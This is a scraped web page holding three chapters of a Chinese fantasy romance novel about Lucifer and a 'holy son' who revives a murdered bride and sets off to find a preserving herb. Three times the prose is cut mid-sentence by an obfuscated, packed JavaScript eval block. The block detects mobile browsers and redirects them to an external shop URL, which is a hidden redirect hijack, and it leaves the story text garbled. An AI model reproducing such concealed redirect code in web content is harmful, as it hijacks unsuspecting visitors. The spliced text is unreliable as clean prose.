他说罢,便让镇长家的大门立时打开。 约里站在门外,愣愣地看着门里的一切。 他上一秒还在家中,下一秒不知为何就突然出现在这里,但他已无心去追究这异象——因为他看见了院中那躺着的穿着嫁衣的遗体。 他愣了半晌,才踉踉跄跄地跨过门槛,扑到那具遗体旁边。 今早还笑着安慰他的姑娘,如今已成了冰冷的尸体,约里哆嗦着唇,慢慢地叫她的名字:“阿亚,阿亚,你醒醒……” 泪水从他浑浑噩噩的眼里不间断地滑落,他的声音哽咽着,逐渐再说不出一个字。 “唉呀,这可怎么办?”路西法故作惊讶,“不小心被他发现了这个可悲的真相呢。” 有多“不小心”,才能让他一瞬从自己家到了镇长家,恰巧发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091855|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件事? 路西法面上刻意为之的怜悯再虚伪不过,他甚至连再说一句“节哀”都吝啬。 伊勒沙代轻叹一声,他虽早就料到路西法必然要从中作梗,却不想一向眼高于顶的他为了给他使绊子,竟然还会愿意纡尊降贵对一个凡人动用法力。 他正要上前,却见约里小心翼翼地为他的妹妹擦拭去泪痕,像是下定了什么决心,他抬起头,一双通红地眼盯着那屋内,充满恨意。 约里摇摇晃晃地站起身,不顾一切地朝里面奔去。 伊勒沙代眉心微蹙,不容抗拒地拦住了他,严肃道:“约里,你不能杀人。” “放开我!”约里终于崩溃,“为什么我什么都不能做?今天是我妹妹的新婚之日啊!她本该,本该幸福的……怎么会这样,怎么会这样!我要杀了他们!大不了,我再给他们偿命!” 多么美妙的,新鲜的……“恨”的味道。 路西法眸光微动,跃跃欲试。 约里是个心性纯净的人类,他从出生至今,爱憎分明,胸怀正义,心向阳光,怀抱着最纯正的信仰。 这样的人类最难滋生出“恨”,但他们的“恨”也最纯粹,最让恶魔食指大动了。 伊勒沙代似是察觉到了路西法的情绪波动,不动声色隔开他与约里,道:“阿亚生性善良,不会愿意她唯一的哥哥为了她走上一条不能回头的路。” 是啊,她是善良的好姑娘。 “可是她已经死了……”约里喃喃道,“她从未做过一件恶事,她那么好,为什么?坏人都还活得那么自在……神啊,求求您告诉我,告诉我这个忠诚的信徒,为什么好人要悲惨地死去,坏人却自由地活着?” 他无能为力,所以呼唤着神明。 但这一刻,他却又想,神明真的存在吗? 神明是什么? 神坛上那一尊雕刻精美的石像吗? 祂从不回应任何。 约里感到绝望。 伊勒沙代捏紧他的肩膀,认真道:“这世上所有生灵,都要为自己的选择承担应有的后果,所见所遇一切,皆为命运。如今,世道坎坷,万恶作祟,令良善蒙尘,无辜含冤。 “——而我,伊勒沙代,将以天国圣子之名,拯救苍生。” 伊勒沙代一字一顿,掷地有声,恰在最后一字落下,朝阳挣破厚重云层的束缚,其辉芒赫赫炎炎,洒满这天地之间,照彻一切山川湖海。 伊勒沙代在瞠目结舌的约里注视中走向了那身穿嫁衣的姑娘遗体,他伸手按在她双目之上,取出利器割开自己的手腕。 霎时,鲜血不断自他腕上流出。 伊勒沙代将自己的血在她额心、眼皮、唇中及致命伤处轻轻一点。 约里呆呆地看着他。 他还没反应过来自己刚才听到他说了什么。 而在这时,那双本该永久阖上的眼乍然睁开。 “哥……哥…… “先……生……快走……” 细微的声音艰难地从嗓子眼里钻出来。 而最心虚的人见了这一幕,吓得一屁股跌坐在门口,双腿颤抖着想后退,却又被人群挡在去路,走投无路之下,他举起手,颤抖的指头直直指向中心的人—— “看吧!我就说,他是邪魔!杀了他,快,杀了他!” 一定、一定得杀了这个知道一切真相的诡异祭山族奴隶! 不然他就别想在这镇上活了! 12. 一起出发 伊勒沙代微微偏过头,淡淡一瞥。 新郎见他竟似反而笑了笑,不禁心头大骇,但不及他想出什么招来,却见伊勒沙代身边那本已冰凉的身穿嫁衣的女尸忽地扭动着身体,以诡异的姿态摇摇晃晃地站起。 随后,向他扑来! 新郎吓得大叫一声,随即就被一双青白的手死死掐住脖颈,他两眼翻白,手忙脚乱地拼命挣扎,却完全不敌身上那具毫无生气的女尸。 一众跟着他同来的小镇居民见状都吓得不轻,不少胆小的已经慌忙四处逃窜,只剩几个胆大的还想凑上前看,但被女尸充血猩红的眼睛一盯,都又迈不开脚。 伊勒沙代起身,却不是往那边正热闹的地方去,反而回到路西法身边,歉疚地握起他的手:“疼吗?” 路西法目光阴冷地盯着他,本就苍白的肌肤似又失去些许血色:“你说呢?” 他合理怀疑伊勒沙代是在挟私报复。 不仅是为那瓶药,还为他故意把那新郎的喉咙口舌恢复正常,让他能去撺掇着别的镇民来围攻伊勒沙代。 伊勒沙代闻言,却只是面露愧色,抬手将自己的血涂抹在他腕上同样的位置,柔声道:“我的血可以为你止疼,再过片刻就会好了。” 他此言不假,甚至略有谦虚,在他的血接触到路西法腕上那一刻起,那剧烈的疼痛已经在迅速地消散。 路西法垂眸看着他腕上还在淌血的伤口,忽道:“神是不会流血的。” 神并非血肉之躯,自然不会有血。 伊勒沙代面上一滞,声音低了几分:“……你又想起祂了。” 路西法却未发觉他的低落,或者说,发觉了也不会在意。 他只想着,耶和华是不会流血的。 所以伊勒沙代不是祂。 他还以为…… 路西法抽回手腕,看着另一边,转移话题:“这也是不小心?” 眼见新郎就要被当场掐死,路西法嫌恶地皱起眉,凭空召出缠着黑光的锁链,将阿亚紧紧绑在了一边的树上。 这倒不是因为他大发善心,只是不想眼睁睁看着他的地狱又得多收一个垃圾。 “她心里有恨,不可容忍。”伊勒沙代道,他仍半垂着眼,看上去心情颇为黯然。 路西法完全不信伊勒沙代制不住她。 大概,就是想让她出出气罢了。 他看向那边终于反应过来,不管不顾地扑上去抱住面目全非的妹妹的约里,眯了眯眼:“她没有活过来。” 路西法从她身上没有感受到“活人”的气息。 他不由得好奇,那么伊勒沙代是如何让她“醒”来的? 路西法蓦地想起伊勒沙代方才所说——“自尽而亡的人类,灵魂进不了天国。” 而这个姑娘生性善良,她的灵魂也进不了地狱。 所以…… “你只是将她的灵魂重新锁进了她的身体。”路西法肯定道,想透其中关窍之后,他唇角翘了翘,“圣子,你还真是……很有想法的一个人。” 伊勒沙代姑且将这话当作夸赞。 “只不过,就算这样,她的身体依旧会如死尸一般腐烂。”路西法环抱手臂,饶有兴趣地盯着他,“短暂得到之后失去,会比现在还痛苦,届时,你又当如何?” 伊勒沙代坦然道:“她是因我才被牵连进这一桩祸事,我自会帮她恢复至从前的模样。人间有一种长在荒原之中的药草,名为‘吉连罗’,用它浸泡尸身足够久,便能使尸身不腐,我当为她寻来。” “你既知吉连罗的效用,难道不知它的生长之地遍布荆棘毒瘴,人类根本无法踏足?若是换作你尚在天国之时的法力和躯体,还可以说能来去自如,但现在的你,不过一个有些许法力的凡人,只怕连靠近都做不到。” “我是圣子,我能做到。”伊勒沙代笃定道。 路西法望着他坚定平静的湛蓝眼眸,不知为何心尖一跳,些许不美好的回忆又涌上来。 【“神明无所不能,路西。”】 【“不要试图隐瞒。”】 “路西?” 伊勒沙代轻声唤他,将路西法从那些回忆中拽了出来。 路西法别过脸,没了和他交流的兴致:“随你。” 真是奇异,他每每和伊勒沙代独处,竟然会时不时就想起耶和华。 这还是自他堕天后数千年来从未有过的事情。 哪怕是对着梅塔特隆或米迦勒,他也不曾有过这般感受。 路西法自顾自沉浸在心事里,却不见伊勒沙代看向他依旧出神的模样时,那双湛蓝眼眸微微沉下,眸色越发浓深。 ——同他记忆中的创世神更像。 伊勒沙代意识到了自己的失态,转过身,阖上双眼,沉静片刻,而后再睁开眼时,湛蓝眸中又只有一如既往的温柔平静。 他上前几步,经过庭院,在那几近晕厥的新郎身旁停下,轻轻叹息:“为恶之人,都终将为自己的恶行付出代价,你背叛亲友,伤害无辜,搬弄是非,那么从现在起,你将再不能说出一句谎言,每七天之内,你都要承受一天摧心折骨,万蚁噬身之痛,直到你彻底悔改为止。” 不远处的路西法听闻他所说的话,微微抬眼,眸中带着审视。 七天刚好是可以忘掉痛苦的周期,刚刚忘掉,便立刻又要再承受一次,若有他人好奇询问他为何会这样,他又不能说谎,必定会据实以告,那么他做过的事就会人尽皆知,承受他人异样的目光,除非躲进荒无人烟的地方再不与人来往。 伊勒沙代根本没想让他好过。 比起从前的生生因饥饿与疼痛而死的结局,现在的活着或许还更是一种无休止的折磨。 圣子这个人……真是太有意思了。 路西法心里忽地又生出一个主意。 他不紧不慢靠近伊勒沙代,道:“这个男人之所以选择背叛,不过是因为他当真觉得跟着那两个人去莱洛温王城是个绝好的出路,既如此,何不成全他? “我看你也不打算杀了那两人,不如就让他跟着他们去王城,以后这镇子上也少个祸害,各得其所。” 伊勒沙代偏过头,对上路西法笑意盈盈的眼眸,转瞬之间就明白了他的意图。 “好,我去和他们谈谈。”伊勒沙代颔首,同意了路西法这个一听就不怀好意的提议。 他们三言两语之间,就轻松定下了新郎的去处,而新郎还脸色惨白地瘫在门外竭力大口呼吸,贪婪地攫取来之不易的空气,完全没听见。 不过就算他此刻清醒地听到并表达了自己的意见,也不会有任何用处。 他面前的二位,很明显都不是会考虑他人想法的人。 路西法蹲下|身,怜悯地拍了拍他的脸:“你可要活久一点……对了,你叫什么名字来着?” 他后知后觉,他好像,一直都没在注意这新郎的名字。 “列那西。”伊勒沙好心地代替还在半昏迷状态的新郎答道。 路西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091856|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法点点头,装作记住了的样子。 不过他期望他活久一点倒是的确出于真心。 毕竟,他活得越久,就会越恨伊勒沙代。 仇恨,永远是支配人类最好的媒介。 伊勒沙代去和那对中年男女交涉,不过这也只是他所认为的,他刚一进门,那对中年男女连互相撕扯扭打都不敢再继续,拖着满身满脸的伤痕战战兢兢地缩到角落里,一边发抖一边听他温柔地用商量般的语气询问他们能不能带着列那西一起去王城。 中年男女听出他不打算要了他们俩的命,俱是大大松了口气,连忙保证一定带上列那西现在就去王城,绝不耽搁。 伊勒沙代神色温柔,笑道:“有劳了。” 那对中年男女见状却是狠狠打了个颤,心里叫苦不迭。 他们这是惹了个什么样的存在啊! 此时此刻他们早就无比后悔自己选择到这处小镇来,若是当初选择绕道而行该有多好。 只可惜如今再后悔也无用了。 伊勒沙代得到想要的答案后,便又返回庭院中。 阿亚已经清醒过来,她看着面前的泪流满面的哥哥,先是一怔,随后哑着嗓子,一开口却泪先落下:“哥哥……我死了吗?” 她到底还年轻,自尽也不过是靠着绝望之下一时鼓起的勇气,现在想起来,害怕得浑身发抖。 她这才发现自己被绑在树上,眼瞳一缩,下意识以为自己还是落在那对中年男女手中,慌忙道:“哥哥,你快走!你去告诉先生,他们……他们根本不是什么王城贵族的大管事!” 阿亚一转眼却就看见了伊勒沙代,伊勒沙代对她一笑,温柔如旧,她却霎时泪如雨下:“先生……您是因我才被骗来的吗?您快走,不要管我……” 她太过善良,所以无比愧疚,若是因她连累了伊勒沙代,她倒宁愿自己死了。 “我是来和他们谈谈的。”伊勒沙代语调柔和,“现在他们已经认识到了自己的过错,不会再想为难谁了。” 阿亚这才止住泪水,充满崇拜地看着他:“先生,您真的太厉害了。” 路西法在一旁看得颇觉惊奇,这姑娘兄妹俩真是对伊勒沙代一点儿怀疑都没有,无论他说什么做什么都无条件信任。 倒像天使对耶和华似的。 他抬起手,收了那道锁链,约里连忙上前扶住妹妹,低声询问她是否还难受。 伊勒沙代向他们解释了阿亚目前的状态,并表明,自己一定会为她带回吉连罗。 他才刚说完,路西法已不耐烦地催促:“不是说天亮就出发?” 伊勒沙代对他们歉意一笑,返回了路西法身侧,神情自若地挽起他的手:“走吧。” 路西法瞥了一眼他的手,对上他坦诚无辜的目光,似笑非笑道:“不需要再带上什么东西吗?” “不必了。”伊勒沙代微微转头,晨晖将他侧脸镀上一层灿金光辉,那双湛蓝眼眸好似金色灯光下万人瞻仰,只可远观的名贵琉璃,既可见其通透美丽,又遥不可及。 但它永远只愿注视着一个人。 “我唯一想要的,已经在手中了。” 许是这朝阳太过炽热,叫他的目光似也升起灼烫的温度,路西法转过眼,迫使自己不要再注意它。 “路西,走吧。”伊勒沙代扣紧他的手指,眸中笑意温柔,“我们一起,去远方。” 路西法可有可无地应了一声。 耳尖却被那朝霞染上一抹绯色。 13. 不缺真心 吉连罗独爱偏远苦寒,人迹罕至之地,而它的效果又只作用于尸身,所以三界中除了少部分有特殊需求的,着实很少有谁关注它的存在。 路西法一直在等伊勒沙代开口求助他吉连罗的生长位置,却不想直到快走出这镇子,伊勒沙代都未曾提过。 路西法终是没忍住,轻咳一声:“你知道要去哪里?” 伊勒沙代诚恳地点点头,像是不太理解他为何有此一问。 既然出发,当然知道目的地了。 路西法一时无言,过会儿才道:“莫格加荒原可不太|安全,你当真要去?” 岂止不算安全,简直可以说是相当危险。 在人间的版图上,宏伟高耸的天界山脉贯穿大陆,将整个人间陆地竖着一分为二,莱洛温和其他几个小国都位于山脉以西,与山脉以东的人类早就没有联系。 这数百年来,并非没有山脉以西的人类试图翻越天界山脉,然而山脉之中密布迷瘴,稀奇古怪的毒虫猛兽漫山遍野,在一百年之前,甚至没有一个进入天界山脉探险的人能成功走出来。 ——直到莱洛温改朝换代之后的第一任国王,得到了大祭司的帮助,派出受到祝祷护佑的先遣部队,进入了天界山脉腹地。 而那支队伍进入天界山脉之前的最后一个驻点,就是位于其山脚下的莫格加荒原。 莫格加荒原上本有少数牧民,自从莱洛温军队开辟进入天界山脉的通道以后,繁荣了很长一段时间,但随即不久,那一场争端爆发,通道废弃,莫格加荒原渐渐成了被莱洛温的亡命匪徒聚集之所。 伊勒沙代法力未曾恢复多少,又是少年躯体,对上那些匪徒可不一定有胜算。 “放心,我不会有事的。”伊勒沙代轻轻捏了捏他的掌心,柔声道。 ……他以为他是在关心他? 路西法喉间一堵,沉着脸抽回手,嫌恶地取出绢帕擦了擦,然后丢到空中任其自燃。 他现在完全不想和伊勒沙代交流了。 不过他不想,有的是人想。 “先生!” 伊勒沙代还未回身,就被抓住了衣袖。 约里气喘吁吁,抬起头,满目恳切:“请,请允许我和您同去。” 他身旁的阿亚也道:“我们不会给您添麻烦的。” “我们要去的莫格加荒原非常危险,你们还是留在镇中等候最好。”伊勒沙代扶起他,劝道。 “正是因为危险,所以我们才不能就这么在安全的地方等着您!”约里焦急道,“我们,我们怎么能眼睁睁看着您为我们涉险呢?” 伊勒沙代却还是不同意。 双方僵持不下,路西法等得百无聊赖,不耐烦开口:“他们要去就让他们去好了,就算你不同意,腿长他们自己身上,他们难道还不会偷偷跟着?到时候遇见什么事还更麻烦。” 约里兄妹一愣,他们俩刚才还真没想到这办法,反应过来后眼巴巴地看着伊勒沙代。 伊勒沙代听罢,略想了想,便应允下来。 伊勒沙代嘱咐了他们几句,随后便又回到路西法身边,与他并肩同行。 这拼拼凑凑的几人一起出了小镇,约里最后看了看身后的小镇,满心感慨。 他曾以为,自己会像祖祖辈辈那样,从生到死,一生都不会离开这座小镇。 约里还有些惆怅,却听见阿亚惊呼一声。 他连忙转身,只觉眼前一花—— 一座足有三四层楼高,金碧辉煌的宏伟宫殿霸占了面前这条普普通通的山路,将它堵塞得水泄不通。 听见后面的声响,几头通身黢黑,体格健壮发达,头生犄角,兽瞳硕大明亮,一看就不是人间会出现的动物的拉车巨兽转过头,上下打量这几个跟着撒旦陛下的渺小人类。 随后此起彼伏地发出不屑的哼声。 也就站在陛下旁边那个稍微能看,其他的都是什么劣质人类?这品相也太糟糕了。 但它们也没能闹腾太久,随即就一兽挨了一巴掌。 动手的是个年轻俊美的青年,他今日特意换了一身轻便的衣服,却还私心佩了些饰品,显得笔挺矫健又不失贵气。 约里从前见那对中年男女满身金饰只觉俗不可耐,但见它们在这青年身上却觉点缀得恰到好处。 青年笑嘻嘻地凑到路西法面前,讨好道:“陛下,已经准备好了,只待您下令,我们就动身。” 他这才瞧见路西法身旁的伊勒沙代,眼睛一亮:“这位是……” “圣子。” 简简单单两个字,残酷打碎了阿斯蒙蒂斯一颗蠢蠢欲动的心。 他霎时收起笑容,一闪身站到路西法身旁,满脸严肃地低声道:“陛下,现在就干掉他吗?” 路西法看着他表情非常真诚的脸,尽量不生气:“他听得见。” 伊勒沙代配合地对阿斯蒙蒂斯笑了笑。 阿斯蒙蒂斯不知为何抖了抖,又往路西法身后靠近几分。 路西法颇觉嫌弃。 “那个……” 约里微弱的声音艰难地插|进来:“我们……要坐这个去吗?” 且不说这“车”是不是过于豪华惹眼,就说那驾车的几头奇怪巨兽,看上去对他们可没什么善意啊! 阿斯蒙蒂斯看向他,笑道:“当然了!这些三目飞翼狮可是我专门挑选来的,无论要去到你们人间的何处,用时都不会超过三刻。” 什么是“三目飞翼狮”?什么叫“你们人间”? 约里听得瞠目结舌,这一番话里面的信息量太大,他有点转不过弯来。 他只能愣愣看着伊勒沙代温声劝说路西法,这太过显眼,不适合出行。 路西法别过脸装作听不见。 要他堂堂地狱之主陪这几个凡人一起艰苦朴素地赶路,那是绝对不可能的。 大不了过会儿把他们几个绑起来丢进去。 见路西法着实油盐不进,伊勒沙代无奈,叹道:“三目飞翼狮是有记录在天国名册上的凶兽,若它们现身人间,天国定会派遣天使前来查看。” 三目飞翼狮凶名在外,所以这个天使的人选,极有可能是加百列甚至米迦勒。 而这座“车”又如此醒目,他们但凡来到人间,想找不到都难。 伊勒沙代没有直说,但他知道路西法一定能明白他的言下之意。 路西法果真微微蹙眉,心情烦躁。 他的那几位前同僚虽然性情和善,但除却米迦勒之外,都不是那么好打发的,更何况一旦他们见到伊勒沙代同他在一处,又有地狱凶兽在旁,他们无论如何都会寸步不离地守着,绝不给他可趁之机。 伊勒沙代所言不假,他们这一行还是尽量低调为好。 若是往日的他独自在此,那的确是不需顾虑那么多,他就是想在人间建造一座极尽奢华的悬浮王宫,天国也不能拿他如何。 但今时不同往日,他还同这位圣子绑定着,简直就是在他身上绑了个活靶子,随时都能被天国定位到。 路西法虽能明白,但心中还是烦闷。 他从诞生到现在,何曾有过这般束手束脚的时日? 连带着看伊勒沙代也不顺眼。 伊勒沙代却像没发觉似的,兀然握住他的手指,在空中对着那座庞大的宫殿勾勒出一个轮廓。 顷刻之间,它就变成了符合人间正常豪华马车形制的模样。 那几头三目飞翼狮一愣,刚要嚎叫起来,就见自己也都变成了人间骏马的外貌,发出的声音也如马鸣一般。 伊勒沙代仍旧握着路西法的手,直到牵着他登上这座全新的“马车”。 马车内部宽敞明亮,分了前后隔间,内间弥漫着恬淡柔和的香气,一应陈设皆以舒适为宗旨,角落里琉璃觚中斜斜插着几枝银莲花,与方才那座宫殿的富贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091857|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪奢相比,别有一番温馨雅致。 “暂且委屈一下,待过段时日,就不必事事小心了。”伊勒沙代将路西法的手指拢在掌心,温声低语道。 路西法完全不习惯这种哄人似的语调,只觉满心别扭,偏偏伊勒沙代似乎最喜欢对他用这方式。 也是奇怪,伊勒沙代在旁人面前表现得就像正常的天国生灵,但每每在他面前的言行举止,总让他觉得有些说不出的怪异。 难道是因为伊勒沙代顶着人类少年的外貌,却像比路西法还年长似的处处照顾哄劝他? 路西法又试图从他掌心抽回手指,这次却以失败告终。 无他,此处空间有限,若是他太用力去挣脱,伊勒沙代必定会撞到车厢,到时候痛的还是他自己。 他转头瞪着伊勒沙代,却见他隐了常有的笑意,竟有些黯然:“路西,你当真如此厌恶我?” “我还以为你心里有数。”路西法面无表情地嘲讽道。 “从前那些事,我都记不得了。”伊勒沙代垂下眼眸,瞧着十分落寞,“我只知道,我看见你的时候就……路西,我对你,绝没有恶意。” 相反,唯有亲近之意。 就比如“马车”之事,伊勒沙代完全可以不说,毕竟届时若有炽天使保护,对于他来说只会更安全更有利,但他还是选择宁可冒着路西法不悦也要劝说他。 确是一心为他着想。 但这世上,甘愿全心全意为路西法效忠的生灵太多了,塞满十个潘地曼尼南都绰绰有余。 路西法向来一概不放在眼里。 伊勒沙代又凭什么特殊? 所以他只是蹙眉拂开伊勒沙代的手,冷漠道:“我知道。” 但,那又怎样? 路西法不缺真心,更不需要伊勒沙代的真心。 这次轻轻松松就挣脱,伊勒沙代的体温本就比正常人类要低一些,现在好像更冰冷了。 像石头似的。 路西法下了车,正热情同约里兄妹攀谈的阿斯蒙蒂斯立刻识相地结束话题凑过来。 “那坛酒查得怎么样了?” 阿斯蒙蒂斯不知为何陛下从车里出来后心情又不大好,只小心翼翼道:“我和别西卜查看了所有记录,那坛酒……也是百余年前同时入的库。” 口味回涩,和百余年前庆功宴上路西法饮下的那坛一模一样。 只是这次,纵使饮下全部,路西法的旧伤也没有再发作。 仅仅不过做了个厌恶的梦而已。 路西法伸出指尖覆上耳垂,此处佩戴着新的饰品,亦是精致华美珍贵无双,却终究不如那副旧的让他怀念。 ……那个人,不知现在如何了。 终有一日,他会正大光明地带他回地狱,万事万物皆不能成为阻碍。 就算是耶和华也不能。 “既是如此,那就罢了,不必再管。你和别西卜也辛苦了许久,好好休息吧。”路西法难得温和体贴道。 阿斯蒙蒂斯受宠若惊,连忙道:“陛下,您可别赶我走,此去莫格加荒原的路途遥远,您都同意那两个人类随行了,多我一个打打下手也好呀。” 他回地狱也是无聊,还不如在人间逛逛,难得能陪在陛下左右,他高兴还不来及。 阿斯蒙蒂斯平时活得随性粗糙,唯独情感之事上极为敏锐,但观路西法方才言行,便知道,陛下这是又想起那个人了。 只要想到他,陛下总会多几分宽容,最适合趁机提出要求。 路西法果真应允,阿斯蒙蒂斯兴高采烈地回了马车,同那几头装作骏马的三目飞翼狮交代事项,待成功说服它们之后,约里兄妹终于也登上了车,只是阿亚被它们吓得眼角含泪,抬起的腿颤颤巍巍。 路西法不知怎的突然想到伊勒沙代。 人类伤心的时候……好像也会流泪? 他刚刚,应该不会把他气哭吧? 14. 早有隔阂 约里兄妹还是头一次坐上马车,不禁有些局促,都只想离内间远远的,恨不得坐外面。 说老实话,他们有点怵路西法,他看上去脾气比外面那几头假装成马的猛兽还差多了。 阿斯蒙蒂斯主动拉着他们坐到外间的软垫上,自来熟地安慰道:“我们陛下虽然看着脾气很差,实际上脾气更差,但是他不会无缘无故就欺负谁的,放心好了。” 当然,最真实的原因是路西法压根没把他们放在眼里。 不过这就不必说出来了。 他一直表现得好说话又亲和,约里终于压不住心里的疑惑:“你们……陛下,到底是什么人啊?” 虽然看上去,好像,根本不是人吧? 约里想起路西法那张脸,心想,如果不是人就说得通了。 他就说,哪有人类能有那么一张完美无瑕的脸? 阿斯蒙蒂斯摸了摸下巴,笑嘻嘻道:“你觉得呢?” 约里左思右想,鼓起勇气大胆猜测:“……天使?” 阿斯蒙蒂斯一愣,随即大笑起来。 约里因他突然的笑声不知所措,却不知他为何发笑:“不、不是吗?” 在他看来,路西法虽然脾气是有些差,言辞锐利扎人,但也未做过什么坏事,还处处帮着伊勒沙代。 他想,也许……就是一位,性情有些独特的天使? 阿斯蒙蒂斯笑够之后,才回答道:“以前是。” 约里不解,还要继续问,却见他竖起一根食指抵在唇前:“知道太多会不快乐的。” 约里心头一凛,直觉这答案会很惊人,不敢再问。 阿斯蒙蒂斯又笑眯眯地看向阿亚:“你呢?美丽的姑娘,你有什么想知道的,尽管问我。” 阿亚被他点到,羞涩地往约里背后躲去,小声道:“我没有什么想问的。” “这样么?我还以为你会好奇一下那两个自称贵族管事的家伙真实的来历呢。”阿斯蒙蒂斯装模作样地叹气。 阿亚迟疑道:“我那时只听到,他们说要去别的地方多挑几个,送到附近的城里,好像……不是送去王城。” 约里惊得睁大眼睛:“什么!难道,他们就只是几个骗子?” 阿斯蒙蒂斯笑道:“你怎么不想想,他们要真是贵族的管事,哪里还需要强迫别人?上赶着去的恐怕都不会少了!” 他没有说,如果是好事,怎会落到边陲小镇的贫民身上? 王城附近几个城镇里也有不少居民,难道他们所有人都那么有钱有骨气,不愿意为奴吗? 所以那对中年男女,根本不是贵族的管事,而是两个专做买卖乡镇里年轻俊俏青少年生意的骗子。 阿斯蒙蒂斯指了指内间,压低声音:“你只看你们那位先生,他可厉害着呢,一眼就看出不对,任那两个骗子怎么说都压根不上当。他们只怕也没想到,在各个城镇里向来无往不利的手段竟然能在这乡野里折戟。” 阿斯蒙蒂斯想,这位圣子,倒的确有些不一般。 再配上那出色的外貌,也怪不得陛下会对他产生兴趣。 地狱生灵的相貌往往随心所欲,其中不乏有美貌出众的,不过阿斯蒙蒂斯客观评价,要么略输风采,要么仪容不如,还真没有能与这位圣子相提并论的。 如果一定要说有什么缺点…… ——那大概就是气质上同陛下最厌恶的那位莫名有些相似。 他还在悄悄替伊勒沙代惋惜,却就见路西法不知何时站在内间门外,连忙要上前为他开门。 路西法按住他的手:“你怎么不进去?” 阿斯蒙蒂斯看向路西法按住他的手,还来不及心旌荡漾,面前的门就倏然大开,伊勒沙代替他回答:“他不想见到我,他觉得我像圣父。” 阿斯蒙蒂斯没料到他竟就这么直白地说了出来,一时目瞪口呆。 路西法看他这副模样便知伊勒沙代所说不假,眉心一挑,嫌弃道:“没出息。” 他收回手,伊勒沙代微微侧身,让他进了内间,顺带关上了门。 阿斯蒙蒂斯顿觉委屈。 哪个恶魔乍然见到一个和创世神颇有几分相似的人不会心肝一颤啊? 他敢说,也就是他不算个没见过世面的,倘若换个低阶些的恶魔来,指不定多看伊勒沙代几眼都会吓得发抖。 可惜阿斯蒙蒂斯的委屈穿不过那一层门板,到不了路西法耳边。 他忙着假装不动声色地打量伊勒沙代……的眼眶。 好像有一点点红。 但路西法没观察过委屈伤心的哭相,只见过惊恐害怕的死状,所以看了许久,也未得出结果。 “很像吗?”伊勒沙代冷不丁开口问道。 路西法初时还未反应过来,待想清他所说的是谁,便觉有趣。 若对这世上任何生灵说他有几分像创世神,他只怕都会欣喜若狂,可看伊勒沙代神情,却像是……并不高兴? “依我之见……”路西法刻意停顿,果然见伊勒沙代抬起头紧张地看着他,待吊足胃口,他才缓缓道,“……我又没见过耶和华的脸,我怎么知道。” 这是实话,他有时候甚至觉得,耶和华可能根本没有能被触碰的实体。 虚无缥缈,就像谁的幻想。 谈何相貌像不像? 不过,伊勒沙代与耶和华最像的,倒是一种难以言说的感觉。 “没有……吗?”伊勒沙代声音极低,仿若自言自语。 路西法肯定地点点头。 伊勒沙代垂下眼眸,抬手敲了敲外门,道:“出发吧。” 他面上瞧不出喜怒,路西法却更来了兴致:“你不知道门外的是谁?” “阿斯蒙蒂斯,你的下属,‘色|欲’魔王。”伊勒沙代一本正经地回答。 “你既知道,怎会觉得,你能支使动他?”路西法微微俯身,凑到他面前,望着他的眼睛,“圣子,你好像一直都很自信啊。” 伊勒沙代默不作声地往后退,和他拉开距离。 真不高兴了? 路西法却不会因此体贴地退让。 他甚至还故意靠得更近,笑意盈盈:“躲什么呀?放心,我没有吃人的爱好。” 伊勒沙代眉目低垂,恰映出他的面容,路西法从那片琉璃似的湛蓝湖泊中看自己,说来奇怪,仿佛比平时在镜中所见更为…… 车身蓦地启动,路西法猝不及防,一下直直向前栽进了伊勒沙代怀中。 ……该死的阿斯蒙蒂斯,犹豫了会儿,居然还真听他话了! 幸好伊勒沙代眼疾手快地伸手,及时一手挡在他额前,一手扶住他的肩。伊勒沙代眉心蹙起:“疼不疼?” 他掌心的温度透过纤薄的衣料慢慢浸上路西法的肌肤,另一边抵在路西法额前的手轻轻按揉。 路西法向来反感这般主动权不在他手中的亲密,下意识推开了他,待看到伊勒沙代一怔后有些落寞的神情,才觉自己反应过度。 倒像是十分嫌弃他似的。 兴许是因对着一张尚且有些青涩稚嫩的脸,路西法难得生出一点点怜惜。 “我没事,谢谢你。”他主动覆上伊勒沙代的手,语调温和。 这位化身人类的圣子也着实是好哄,仅仅这般便似忘了路西法从前给他的种种难堪,复又开心起来,眉目舒朗,反握住他的手:“没事就好。我们这一程路途颇远,你好好休息。” 伊勒沙代设计的内间的确处处舒适柔软,路西法半倚在车壁上,本只是想阖眼思索旁的事,不知何时,竟真的入了眠。 路西法区分自己是否入眠只有一个准则,那就是—— “路西菲尔殿下,父神遣我来问候您。” 戴着花冠,身配碧玺饰品的炽天使笑容温柔,朝着他恭敬地行礼,路西法别过头,从不远处漏出一隙的镜中窥见“自己”梳理整齐的灿金长发。 又是这样。 